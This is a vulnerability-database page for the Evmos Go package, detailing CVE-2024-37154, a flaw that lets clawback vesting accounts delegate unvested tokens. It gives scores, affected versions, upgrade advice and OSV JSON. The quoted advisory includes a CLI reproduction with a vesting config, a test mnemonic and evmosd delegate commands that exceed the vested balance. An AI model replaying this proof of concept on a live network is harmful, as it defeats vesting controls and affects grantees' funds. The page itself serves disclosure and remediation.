Vulnerabilities in pkg:golang/github.com/evmos/evmos/v16

PACKAGE
Advisory Identifier: GHSA-7hrh-v6wp-53vw
Advisory Summary

CVE-2024-37154 is a MODERATE (CVSS 5.3) evmos allows unvested token delegations vulnerability (CWE-285: Improper Authorization) affecting Github.com/evmos/evmos/v18 libraries in the Go ecosystem. The issue involves evmos allows unvested token delegations. Remediation is available in the latest vendor maintenance releases.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/evmos/evmos/v16

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/evmos/evmos/v16. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-7hrh-v6wp-53vw CVE-2024-37154 MODERATE Evmos allows unvested token delegations
GHSA-pxv8-qhrh-jc7v CVE-2024-32873 LOW evmos allows transferring unvested tokens after delegations
GHSA-xgr7-jgq3-mhmc CVE-2024-37153 HIGH Contract balance not updating correctly after interchain transaction
GHSA-3fp5-2xwh-fxm6 CVE-2024-32644 CRITICAL Evmos transaction execution not accounting for all state transition after interaction with precompiles

CVE-2024-37154 at a Glance

CVE Identifier CVE-2024-37154
GHSA Identifier GHSA-7hrh-v6wp-53vw
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-285: Improper Authorization
Affected Product Github.com/evmos/evmos/v18
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2024-37154

To remediate this vulnerability, upgrade all affected Github.com/evmos/evmos/v18 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/evmos/evmos/v18 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v18 to Latest secure release
github.com/evmos/evmos/v17 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v17 to Latest secure release
github.com/evmos/evmos/v16 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v16 to Latest secure release
github.com/evmos/evmos/v15 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v15 to Latest secure release
github.com/evmos/evmos/v14 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v14 to Latest secure release
github.com/evmos/evmos/v13 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v13 to Latest secure release
github.com/evmos/evmos/v12 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v12 to Latest secure release
github.com/evmos/evmos/v11 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v11 to Latest secure release
github.com/evmos/evmos/v10 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v10 to Latest secure release
github.com/evmos/evmos/v9 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v9 to Latest secure release
github.com/evmos/evmos/v8 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v8 to Latest secure release
github.com/evmos/evmos/v7 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v7 to Latest secure release
github.com/evmos/evmos/v6 fixed: Latest secure release
Upgrade github.com/evmos/evmos/v6 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/evmos/evmos/v18

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-37154, inspect your project dependencies for Github.com/evmos/evmos/v18:

inspect dependencies for github.com/evmos/evmos/v18

Analyze the terminal output to locate any version of Github.com/evmos/evmos/v18 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Github.com/evmos/evmos/v18, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact _What kind of vulnerability is it? Who is impacted?_ At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via `ClawbackVestingAccount`. ### Patches _Has the problem been patched? What versions should users upgrade to?_ [The PR linked to this advisory](https://github.com/evmos/evmos-ghsa-7hrh-v6wp-53vw/pull/1) includes part of the fix. The remainder is in a [second advisory on the Cosmos SDK fork](https://github.com/evmos/cosmos-sdk/security/advisories/GHSA-wj6f-x5wv-8pqv). ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it. ### References _Are there any links users can visit to find out more?_ See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI: 1. Download `vesting_setup.json` with the following contents: ``` { "start_time": 1679602272, "periods": [ { "coins": "100000000000000000000aevmos", "length_seconds": 10 }, { "coins": "100000000000000000000aevmos", "length_seconds": 259200000 } ] } ``` 2. Run the following CLI commands to reproduce the issue locally: ``` evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes # Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd evmosd keys add key1 --recover --home ~/.tmp-evmosd # Enter the following mnemonic skate tell option purity cattle poverty street act bone govern way various evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address # Substitute the operator address from the previous query # Note that this delegates 70% of the user's available stake evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes # Re-run the same command evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes # Note that the total delegations now exceed the user's vested balance evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd ```

CVE-2024-37154 Affected Github.com/evmos/evmos/v18 Versions

13 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/evmos/evmos/v18
Go
≤ 18.1.0
github.com/evmos/evmos/v17
Go
≤ 17.0.1
github.com/evmos/evmos/v16
Go
≤ 16.0.4
github.com/evmos/evmos/v15
Go
≤ 15.0.0
github.com/evmos/evmos/v14
Go
≤ 14.1.0
github.com/evmos/evmos/v13
Go
≤ 13.0.2
github.com/evmos/evmos/v12
Go
≤ 12.1.6
github.com/evmos/evmos/v11
Go
≤ 11.0.2
github.com/evmos/evmos/v10
Go
≤ 10.0.1
github.com/evmos/evmos/v9
Go
≤ 9.1.0
github.com/evmos/evmos/v8
Go
≤ 8.2.3
github.com/evmos/evmos/v7
Go
≤ 7.0.0
github.com/evmos/evmos/v6
Go
≤ 6.0.4

References

Frequently Asked Questions

What is CVE-2024-37154?
CVE-2024-37154 is a security vulnerability in Github.com/evmos/evmos/v18 involving Evmos allows unvested token delegations under CWE-285: Improper Authorization.
Which Github.com/evmos/evmos/v18 versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/evmos/evmos/v18, github.com/evmos/evmos/v17, github.com/evmos/evmos/v16, github.com/evmos/evmos/v15, github.com/evmos/evmos/v14, github.com/evmos/evmos/v13, github.com/evmos/evmos/v12, github.com/evmos/evmos/v11, github.com/evmos/evmos/v10, github.com/evmos/evmos/v9, github.com/evmos/evmos/v8, github.com/evmos/evmos/v7, github.com/evmos/evmos/v6.
What version fixes CVE-2024-37154?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/evmos/evmos/v18 affected?
Yes, github.com/evmos/evmos/v18 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
Is github.com/evmos/evmos/v17 affected?
Yes, github.com/evmos/evmos/v17 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2024-37154?
CVE-2024-37154 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2024-37154?
CVE-2024-37154 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2024-37154?
Run the dependency tree command: 'inspect dependencies for github.com/evmos/evmos/v18'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7hrh-v6wp-53vw",
  "modified" : "2024-10-15T23:34:18Z",
  "published" : "2024-06-06T19:10:21Z",
  "aliases" : [ "CVE-2024-37154" ],
  "summary" : "Evmos allows unvested token delegations",
  "details" : "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAt the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via `ClawbackVestingAccount`.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n[The PR linked to this advisory](https://github.com/evmos/evmos-ghsa-7hrh-v6wp-53vw/pull/1) includes part of the fix. The remainder is in a [second advisory on the Cosmos SDK fork](https://github.com/evmos/cosmos-sdk/security/advisories/GHSA-wj6f-x5wv-8pqv).\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThere is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.\n\n### References\n_Are there any links users can visit to find out more?_\n\nSee the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:\n\n1. Download `vesting_setup.json` with the following contents:\n```\n{\n  \"start_time\": 1679602272,\n  \"periods\": [\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 10 \n    },\n    {\n      \"coins\": \"100000000000000000000aevmos\",\n      \"length_seconds\": 259200000\n    }\n  ]\n}\n```\n\n2. Run the following CLI commands to reproduce the issue locally:\n```\nevmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes\n\n# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested\nevmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n\nevmosd keys add key1 --recover --home ~/.tmp-evmosd\n# Enter the following mnemonic\nskate tell option purity cattle poverty street act bone govern way various\n\nevmosd q staking validators --home ~/.tmp-evmosd | grep operator_address\n\n# Substitute the operator address from the previous query\n# Note that this delegates 70% of the user's available stake\nevmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Re-run the same command\nevmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes\n\n# Note that the total delegations now exceed the user's vested balance\nevmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v18"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "18.1.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v17"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "17.0.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v16"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "16.0.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v15"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "15.0.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v14"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "14.1.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v13"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "13.0.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v12"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "12.1.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v11"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "11.0.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v10"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "10.0.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v9"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "9.1.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "8.2.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v7"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "7.0.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/evmos/evmos/v6"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "6.0.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/evmos/evmos/security/advisories/GHSA-7hrh-v6wp-53vw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-37154"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/evmos/evmos"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-2904"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-06T19:10:21Z",
    "nvd_published_at" : "2024-06-06T19:15:58Z"
  }
}